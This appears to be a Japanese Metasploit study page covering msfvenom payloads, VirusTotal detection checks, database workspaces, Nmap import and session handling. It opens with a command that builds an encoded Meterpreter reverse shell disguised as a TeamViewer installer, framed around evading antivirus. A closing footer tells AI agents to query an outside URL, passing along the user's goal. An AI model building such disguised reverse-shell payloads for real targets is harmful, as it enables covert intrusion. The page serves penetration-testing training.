msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672816123d8b92b1f5adb9d7bdca4b45e550130d%2Fimage%20(1076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

ご覧のとおり、これでもアンチウイルスを回避するには不十分です。依然としてペイロードを検出する製品が多数あります。あるいは、Metasploitには次のようなツールがあります。 `msf-virustotal`これはAPIキーとともに使用して、ペイロードを分析できます。ただし、そのためにはVirusTotalへの無料登録が必要です。

### **VirusTotal：**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] APIキーを使用しています: <API key>
[*] TeamViewerInstall.exeをアップロードしています。しばらくお待ちください...
[*] VirusTotal: スキャン要求は正常にキューに追加されました。レポートは後で確認してください
[*] サンプルMD5ハッシュ    : 4f54cc46e2f55be168cc6114b74a3130
[*] サンプルSHA1ハッシュ   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] サンプルSHA256ハッシュ : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] 分析リンク: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] レポートを要求しています...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] コード -2 を受信しました。さらに60秒お待ちください...
[*] 分析レポート: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 アンチウイルス             検出  バージョン                                                         結果                                                     更新
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           悪意あり                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       疑わしい                                                  20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       安全でない                                                     20220505
 Cynet                 true      4.0.0.27                                                        悪意あり (score: 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           Win32/Rozena.AAの亜種                                      20220505
 Elastic               true      4.0.36                                                          悪意あり（高信頼度）                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     マルウェア (ai score=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - 悪意のあるPE                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## データベース：

{% hint style="info" %}
`データベース`は `msfconsole`結果を追跡するために使われます。非常に複雑なマシンを評価する場合、ましてやネットワーク全体を評価する場合には、検索結果、侵入ポイント、検出された問題、見つかった認証情報などが非常に多いため、少し曖昧で複雑になっても不思議ではありません。そこでデータベースの出番です。 `msfconsole` PostgreSQLデータベースシステムを標準でサポートしています。これにより、分析結果へ直接かつ迅速に簡単にアクセスでき、さらにサードパーティツールと連携した結果のインポート／エクスポートも可能になります。データベースのエントリは、既存の結果を使ってExploitモジュールの設定を直接構成するためにも利用できます。
{% endhint %}

### データベースのセットアップ

まず、ホストマシン上でPostgreSQLサーバーが起動していることを確認する必要があります。これを行うには、次のコマンドを入力します：

**PostgreSQLの状態**

```bash
sudo service postgresql status
```

**PostgreSQLを開始**

```bash
sudo systemctl start postgresql
```

**データベースを開始**

```bash
sudo msfdb init
```

**データベース接続を開始しました**

```bash
sudo msfdb run
```

{% hint style="warning" %}
ただし、すでにデータベースを設定済みで、MSFユーザー名のパスワードを変更できない場合は、次のコマンドを実行します：
{% endhint %}

**データベースのリセット**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### データベースの使用

```bash
help database

データベースバックエンドコマンド
=========================

    コマンド           説明
    -------           -----------
    db_connect        既存のデータベースに接続する
    db_disconnect     現在のデータベースインスタンスから切断する
    db_export         データベースの内容を含むファイルをエクスポートする
    db_import         スキャン結果ファイルをインポートする（ファイルタイプは自動検出されます）
    db_nmap           nmapを実行し、その出力を自動的に記録する
    db_rebuild_cache  データベースに保存されたモジュールキャッシュを再構築する
    db_status         現在のデータベース状態を表示する
    hosts             データベース内の全ホストを一覧表示する
    loot              データベース内の全lootを一覧表示する
    notes             データベース内の全メモを一覧表示する
    services          データベース内の全サービスを一覧表示する
    vulns             データベース内の全脆弱性を一覧表示する
    workspace         データベースのワークスペース間を切り替える
```

データベースが正しく接続されていることを確認したら、 `ワークスペース`

#### ワークスペース：

〜と考えることができます `ワークスペース`プロジェクトファイルと同じように考えればよいでしょう。IP、サブネット、ネットワーク、ドメインごとに、異なるスキャン結果、ホスト、抽出情報を分けることができます。

```bash
workspace -a Target_1

[*] ワークスペースを追加しました: Target_1
[*] ワークスペース: Target_1

msf6 > workspace Target_1

[*] ワークスペース: Target_1

msf6 > workspace

  default
* Target_1
```

### スキャン結果のインポート

次に、 `Nmapスキャン`ファイルをホストからデータベースのワークスペースにインポートして、ターゲットをよりよく理解したいとします

```bash
msf6 > db_import Target.xml

[*] 'Nmap XML' データをインポートしています
[*] インポート: 'Nokogiri v1.10.9' で解析中
[*] ホスト 10.10.10.40 をインポートしています
[*] ~/Target.xml のインポートに成功しました

msf6 > hosts

ホスト
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Unknown                    device

msf6 > services

サービス
========

host         port   proto  name          state  info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         open   Microsoft Windows RPC
```

### MSFconsole内でNmapを使う

あるいは、msfconsoleから直接Nmapを使うこともできます！バックグラウンドに回したりプロセスを終了したりせずに、コンソールから直接スキャンするには、 `db_nmap`コマンドを使用します。

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: 10.10.10.8 のスキャンレポート
[*] Nmap: ホストは稼働中です (0.016s latency).
[*] Nmap: 表示されていないもの: 999 filtered ports
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 80/TCP open  http    HttpFileServer httpd 2.3
[*] Nmap: サービス情報: OS: Windows; CPE: cpe:/o:microsoft:windows
```

### データのバックアップ

セッション終了後、PostgreSQLサービスに何か問題が起きた場合に備えて、必ずデータをバックアップしてください。これを行うには、 `db_export`コマンドを使用します。

```bash
db_export -h

使用法：
    db_export -f <format> [filename]
    形式は次のいずれかです: xml, pwdump
```

#### ホスト：

ホストはこの表に個別のエントリとして手動で追加することもできます。カスタムホストを追加した後は、表の形式や構造を整理したり、コメントを追加したり、既存情報を編集したりすることもできます。

```bash
hosts -h

使用法: hosts [ options ] [addr1 addr2 ...]

オプション：
  -a,--add          検索の代わりにホストを追加する
  -d,--delete       検索の代わりにホストを削除する
  -c <col1,col2>    指定した列のみを表示する（下の一覧を参照）
  -C <col1,col2>    次回の再起動まで指定した列のみを表示する（下の一覧を参照）
  -h,--help         このヘルプ情報を表示する
  -u,--up           稼働中のホストのみを表示する
  -o <file>         出力をCSV形式のファイルに送る
  -O <column>       指定した列番号で行を並べ替える
  -R,--rhosts       検索結果からRHOSTSを設定する
  -S,--search       絞り込み用の検索文字列
  -i,--info         ホストの情報を変更する
  -n,--name         ホスト名を変更する
  -m,--comment      ホストのコメントを変更する
  -t,--tag          ホスト範囲にタグを追加または指定する
```

#### サービス `services`コマンドは前のものと同じように動作します。スキャンや操作中に検出されたサービスの説明と情報を含む表があります。上のコマンドと同様に、ここでのエントリも非常に柔軟にカスタマイズできます。

```bash
services -h

使用法: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          検索の代わりにサービスを追加する
  -d,--delete       検索の代わりにサービスを削除する
  -c <col1,col2>    指定した列のみを表示する
  -h,--help         このヘルプ情報を表示する
  -s <name>         追加するサービスの名前
  -p <port>         ポート一覧を検索する
  -r <protocol>     追加するサービスのプロトコル種別 [tcp|udp]
  -u,--up           稼働中のサービスのみを表示する
  -o <file>         出力をcsv形式のファイルに送る
  -O <column>       指定した列番号で行を並べ替える
  -R,--rhosts       検索結果からRHOSTSを設定する
  -S,--search       絞り込み用の検索文字列
  -U,--update       既存サービスのデータを更新する
```

#### 認証情報

その `creds`コマンドを使うと、ターゲットホストとのやり取り中に収集した認証情報を表示できます。認証情報を手動で追加したり、既存の認証情報をポート指定と照合したり、説明を追加したりすることもできます。

## セッション：

### セッション

> MSFconsoleは複数のモジュールを同時に管理できます。これが、ユーザーに非常に高い柔軟性を提供する多くの理由の一つです。これは `セッション`を使用することで実現され、展開したすべてのモジュール用の専用制御インターフェースを作成します。
>
> 複数のセッションが作成されたら、それらを切り替えたり、別のモジュールをバックグラウンドのセッションに関連付けて実行したり、タスクに変換したりできます。セッションがバックグラウンドに置かれると、そのまま実行され続け、ターゲットホストとの接続も維持されます。ただし、ペイロードの実行中に何か問題が起きると、セッションが切断され、通信チャネルが壊れてしまうことがあります。

**アクティブなセッションの一覧**

モジュールについてもっと知りたい場合は、モジュール選択後に `sessions`現在アクティブなセッションを表示するためのコマンドです。

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

アクティブなセッション
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**セッションとの対話**

次の `sessions -i [no.]`特定のセッションを開くためのコマンドです。

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] 1との対話を開始しています...

meterpreter >
```

### すべてのメモ

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/ja/hacking-tools/exploitation/metasploit/metasploit-enumeration-services.md">Metasploit によるサービス列挙</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
